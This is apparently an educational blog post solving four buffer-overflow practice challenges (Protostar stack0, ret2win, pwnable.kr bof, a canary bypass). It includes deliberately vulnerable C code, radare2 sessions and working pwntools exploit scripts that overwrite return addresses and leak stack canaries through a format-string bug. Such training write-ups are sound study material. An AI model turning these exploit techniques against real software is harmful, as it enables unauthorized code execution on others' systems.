PWN Journey: Part 1
Foreword
Greetings, this series of posts delves into a collection of pwnie solutions that I have been poking around for a while and finally have the time to publish it so that I could practice my writing and attempt to share some knowledge in such a way that could be helpful to others. Not to mention that I am also a rookie in this field, so take my words with a grain of salt and all critics/suggestions are welcome.
Notwithstanding these step-by-step solutions, I still strongly encourage readers to reproduce or alter the challenges in their own way. Moreover, please do keep in mind that the solutions are not being put in any level orders, even the first ones can be much complicated for you to fully digest. With that said, then scratching your head for hours, diving into the basics and bending them to your needs is a minimum requirement to achieve your goal.
Anyway, I hope you have a good time learning.
Protostar stack0 (reproduced)
Goal: Change the value of modified to any but 0.
The original challenge can be found here. You should practice this challenge using Protostar VM first since it is built as a 32-bit ELF, much simpler and straightforward.
This particular version of stack0, however, is expected to be built and executed on a variety of different architectures, customizations, and such others.
Description:
This level introduces the concept that memory can be accessed outside of its allocated region, how the stack variables are laid out, and that modifying outside of the allocated memory can modify program execution.
Source code:
// NOTE: I don't use the VM provided by Protostar. So I will include my build options within the source.
// Build: $ gcc -g stack0.c -o stack0 -no-pie -fno-stack-protector -z execstack
// Build target: Linux kali 5.14.0-kali2-amd64 #1 SMP Debian 5.14.9-2kali1 (2021-10-04) x86_64 GNU/Linux
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified; // volatile keyword ensures that this variable is not optimized (deleted) by compilers as it is not being used or modified at all
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
You can achieve the goal by triggering a buffer overflow in the gets function since it got flagged unsafe, according to MSDN:

Solution
Some of you have thought of inserting 64 random characters into the buffer variable and a random byte to write pass the modified variable itself then congratulation, you are correct… theoretically. If you are exercising the challenge connecting to Protostar VM, it should work properly; otherwise, you might encounter as follows:

This happened mostly due to our stack alignment or compiler options being somewhat different from that of Protostar VM.
Let us have a closer analysis at the assembly code.

Put your focus around these lines:
[0x7ffff7fd3050]> s main;pdf
; DATA XREF from entry0 @ 0x55555555507d
┌ 79: int main (int argc, char **argv, char **envp);
│ ; var int64_t var_50h @ rbp-0x50
│ ; var int64_t var_4h @ rbp-0x4
...
│ 0x555555555154 c745fc000000. mov dword [var_4h], 0
│ 0x55555555515b 488d45b0 lea rax, [var_50h]
│ 0x55555555515f 4889c7 mov rdi, rax
│ 0x555555555162 b800000000 mov eax, 0
│ 0x555555555167 e8d4feffff call sym.imp.gets ; char *gets(char *s)
│ 0x55555555516c 8b45fc mov eax, dword [var_4h]
...
Based on the code, gets reads a line from STDIN and the size of the buffer can be inferred by subtracting the end address (i.e, rbp-0x50) with the start address (i.e, rbp-0x4). Hence, buf_size = 0x50 - 0x4 = 0x4c = 76 (decimal).
Solve.py
And from that we now know how many characters are needed to overflow the buffer, but remember we still have to overwrite the modified variable.
So here is our one-liner.
$ python -c 'print(b"a"*76 + b"modified_val")' | ./stack0
Goal achieved.

ret2win (reproduce)
Goal: Successfully overwrite the return pointer to execute win().
A random 32-bit challenge on the Internet with only its source code provided. Same approach but in 64-bit.
// Build: $ gcc source.c -o vuln -no-pie -fno-stack-protector -z execstack
// Build target: Linux kali 5.14.0-kali2-amd64 #1 SMP Debian 5.14.9-2kali1 (2021-10-04) x86_64 GNU/Linux
#include <stdio.h>
void unsafe() {
char buffer[40];
puts("Overflow me");
gets(buffer);
}
void main() {
unsafe();
}
void flag() {
puts("Exploited!!!!!");
}
Code breakdown
The program calls unsafe(), which contains a buffer overflow vulnerability at the gets with a buffer of 40 bytes. Furthermore, there is a flag() function but it is completely isolated, never to be called and we have to somehow invoke the function.
Solution
As already mentioned, we need to find how many bytes to overflow and reach the return address pointer, thus 40 bytes is not enough. You can imagine our skeleton payload should roughly be as follows:
payload = BUF_SIZE (40 bytes) + SOME_JUNK (?? bytes) + FLAG_ADDR (RIP)
The BUF_SIZE and SOME_JUNK in combination, there is a generic term for it called padding and we have to determine the padding length before you can overwrite the value of RIP.
Let me introduce you to the De Bruijn Sequence, which contains no string of n character repeated. The sequence can either be created by yourself or any available auxiliaries (e.g., ragg2, cyclic, pattern_create (gdb)).

The reason why a random gibberish string is able to help us to find the padding is that while you are filling the stack with the sequence, RIP (and even others) could already be overwritten, thereby leading to a SIGSEGV and crashing the execution. With that, the particular position of these so-called random bytes in RIP now is that of our padding length in the sequence pattern.
Next, we want to load the binary in our debugger and find the padding length

and our registers table:

The wopO `dr rip` command simply finds the given value in RIP into a De Bruijn sequence at a current offset or you can just type wopO 0x41415441 instead and it will show us our same padding size, 56.
payload = PADDING (56 bytes) + FLAG_ADDR (RIP)
We have one last factor, the address of flag() which is 0x0040116b. To get it, simply type afl for a list of functions and their addresses.
[0x41415441]> afl
0x00401050 1 42 entry0
0x00401090 4 33 -> 31 sym.deregister_tm_clones
0x004010c0 4 49 sym.register_tm_clones
0x00401100 3 33 -> 28 sym.__do_global_dtors_aux
0x00401130 1 2 entry.init0
0x004011e0 1 1 sym.__libc_csu_fini
0x00401132 1 40 dbg.unsafe
0x00401030 1 6 sym.imp.puts
0x00401040 1 6 sym.imp.gets
0x004011e4 1 9 sym._fini
0x00401180 4 93 sym.__libc_csu_init
0x00401080 1 1 sym._dl_relocate_static_pie
0x0040115a 1 17 dbg.main
0x0040116b 1 19 dbg.flag ; THIS ONE
0x00401000 3 23 map._home_kali_Desktop_Study_PWN_etc_ret2win_vuln.r_x
Using the built-in grep, radare should have the output optimized

Solve.py
Now that we have the padding length, control RIP and flag() address.
Hence, our final solve.py.
#!/usr/bin/env python3
from pwn import *
flag_rip = p64(0x0040116b) # pack flag_addr: \x6b\x11\x40\x00
padding = asm(shellcraft.nop()) * 56 # 56 bytes of NOP
payload = padding + flag_rip
r = process('./vuln')
r.sendlineafter(b'me\n', payload)
print(r.clean())

Pwnable.kr - bof
Goal: Successfully modify the value of key to spawn a shell.
This is an original challenge at pwnable.kr.
Description:
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
Running at : nc pwnable.kr 9000
Provided source:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
Code breakdown
There are only two function, main and func.
main basically calls func with 0xdeadbeef as its sole key argument whose value is to be compared with 0xcafebabe and if true, spawns a shell or, otherwise, prints Nah..\n. Not to mention the obvious buffer overflow as func creates a 32 bytes buffer then reads it with gets.
Solution
Since we are not reproducing the challenge but downloading straight from the source, let us check its properties.

Not a fan of radare2? Here is the simplified output from checksec.

As it might be seen, the binary has NX, PIE, and canary bit enabled. Especially with stack canary, we are not able to determine the padding length with De Bruijn Sequence anymore. However, other protection bits are neither important nor able to interrupt our payload in this practice at all so I will skip them for now.

Therefore, you have to evaluate these offsets manually.
First, set a breakpoint after the gets function because the subsequent instruction is the comparison of key and 0xcafebabe.

Then locate our buffer offset, which is 0xffef8ffc, apparently.

And variable key’s offset, 0xffef9030.

Evaluate this expression: 0xffef9030 - 0xffef8ffc = 0x34 = 52 (decimal) <-- padding length.
Also, you can try using this shortcut instead of those weary steps.
[0x5658662c]>? `pxr 1 @ebp+8 ~[0]` - `dr eax`

Hence, our skeleton payload:
payload = PADDING (52) + KEY_VALUE
Solve.py
Either of these should work properly.
One-liner: python -c"print(b'a'*52+b'\xbe\xba\xfe\xca')" | tee payload && (cat payload && cat)| nc pwnable.kr 9000.

Pwntools:
#!/usr/bin/env python3
from pwn import *
payload = b'a'*52 + p32(0xcafebabe)
if __name__ == '__main__':
if(sys.argv[1] == 'local'):
r = process('./bof')
else:
r = remote('pwnable.kr', 9000)
r.clean()
r.sendline(payload)
r.interactive()

Canary (custom)
Goal: Successfully bypass canary and call win().
Source:
// Build: $ gcc canary.c -o canary -no-pie -fstack-protector -z execstack
// The option "-fstack-protector" enables canary
// Build target: Linux kali 5.14.0-kali2-amd64 #1 SMP Debian 5.14.9-2kali1 (2021-10-04) x86_64 GNU/Linux
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void vuln() {
char buffer[32];
puts("Leak me");
gets(buffer);
printf(buffer);
puts("");
puts("Overflow me");
gets(buffer);
}
int main() {
vuln();
}
void win() {
puts("You won!");
}
This simple challenge ideally demonstrates how we can bypass stack protection, as know as stack canary.
But before being able to understand the crucial part, we should get hold of the protection bit first. To put it simply, at the prologue of a function, a random value is place onto the stack and before the program execute ret, the present value of that variable is to be compared with the initial and a ***stack smashing detected*** error message would show up thereafter if they are not the same; otherwise, exit normally.
Note: Stack canaries in Linux is a bit more tricky as they end in 00, which will null-terminated any strings in case you make mistakes using print functions. Still, it makes them much easier to spot.
Code breakdown
There are three functions: main, vuln and win.
win is isolated and main merely calls vuln. vuln, however, reads a buffer of 32 bytes twice, before and after printing it using puts.
Solution
1. Brute-forcing
Please do remember that this method works exclusively with 32-bit programs and sometimes is the sole solution when there are no leak capabilities. Since it is, unfortunately, not practicable with our particular 64-bit binary, we will discuss the method further at another time.
2. Leaking a Stack Canary
This method aim is to read the value of the canary through a certain format string leakages, such as read, strncpy, puts and printf.
A format string bug is a simple, yet, powerful auxiliary which if you can manipulate and leverage it to perform reading or even writing to arbitrary memory regions. Imagine you have a small code snippet as follows:
int a = 64;
printf("%x %x %x", a, a, a);
Expected output:
40 40 40
But supposing we have 3 format identifiers with only a single argument.
int a = 64;
printf("%x %x %x", a);
And we get:
40 3c27ed48 61879738
Not meet the expected amount of arguments, printf simply continues printing the next values on the stack, thus leaking them. Hence, the latter two, 3c27ed48 and 61879738, are probably not our int a = 64 but random junk value on the stack.
Let us have a glance at the vulnerable source again.
vuln():
...
puts("Leak me");
gets(buffer);
printf(buffer);
puts("");
puts("Overflow me");
gets(buffer);
...
The puts function allows us to leak the canary, we then can use that value to overwrite the canary itself and finally call win() to achieve the initial goal.
Now to the most intriguing phase, let us load it in radare2 and in most practical cases, you should first check the protection properties of the binary. It either could be done using checksec or rabin2, whatever comes to your liking.

Next, we want to set a breakpoint at the subsequent instruction near the first gets and a second breakpoint around the canary so that we can easily determine our canary offset.

Executing the program and hit the first breakpoint at 0x00401163, we are therefrom able to read the canary value. Furthermore, we can calculate the padding length between our buffer and the canary by evaluating 0x50 - 0x8 = 0x48 = 72 (decimal).
[0x7f347597b050]> s sym.vuln;pdf
┌ 133: sym.vuln ();
│ ; var int64_t var_50h @ rbp-0x50 ; our 32-byte buffer
│ ; var int64_t var_8h @ rbp-0x8 ; canary variable
...
│ 0x0040115a 64488b042528. mov rax, qword fs:[0x28] ; stored canary in RAX
│ 0x00401163 b 488945f8 mov qword [var_8h], rax ; Breakpoint 1
...
[0x00401163]> dr rax
0xdc9e3a07a36a200
[0x00401163]>
Our current canary value: 0xdc9e3a07a36a200
Then, we need to know how far is it from our buffer offset to the canary’s and in order to do so, let us hit the second breakpoint and read the stack.

So the buffer is 15 addresses (or 64 bytes) from the canary, that is also the reason why %15$p is our input so that puts can print out the special sentinel value.

And we successfully get the correct value of the canary.
Nevertheless, keep in mind that stack canaries are randomized for every new process, so we have to automate the canary leaking procedure as below:
#!/usr/bin/env python3
from pwn import *
r = process('./canary')
r.sendlineafter(b'Leak me\n', b'%15$p')
canary = int(r.recvline(), 16)
log.info('Canary: %s' % hex(canary))

And thus far we have had our skeleton payload:
payload = PAD_TILL_CANARY (72) + CANARY + PAD_TIL_RIP (??) + WIN_OFFSET (??)
In order to calculate PAD_TIL_RIP, let us get back to radare2 and set another breakpoint after the second gets.

Stop at the second breakpoint we have set at the beginning, here I want you to remember that our current canary offset is at 0x7fffb74f25c0+16 = 0x7fffb74f25d0.

Follow the execution flow, we now hit the third breakpoint after gets then we examine the data chunk at 0x7fffb74f25d0.

Using ragg2 pattern, we now know the RIP offset is 16 bytes from the canary’s start point, and the canary size is 8 (or 4 in 32-bit) bytes so our PAD_TIL_RIP is 16 - 8 = 8.
And the last factor is WIN_OFFSET, you can dump it out either using objdump

or afl~win within radare2.

Solve.py
You finally made it here, congratulation.
payload = PAD_TILL_CANARY (72) + CANARY + PAD_TIL_RIP (8) + WIN_OFFSET (0x004011ec)
#!/usr/bin/env python3
from pwn import *
r = process('./canary')
r.sendlineafter(b'Leak me\n', b'%15$p')
canary = int(r.recvline(), 16)
log.info('Canary: %s' % hex(canary))
payload = asm(shellcraft.nop()) * 72 # PAD_TIL_CANARY
payload += p64(canary) # CANARY
payload += asm(shellcraft.nop()) * 8 # PAD_TIL_RIP
payload += p64(0x004011ec) # WIN_OFFSET
r.sendlineafter(b'Overflow me\n', payload)
print(r.clean())
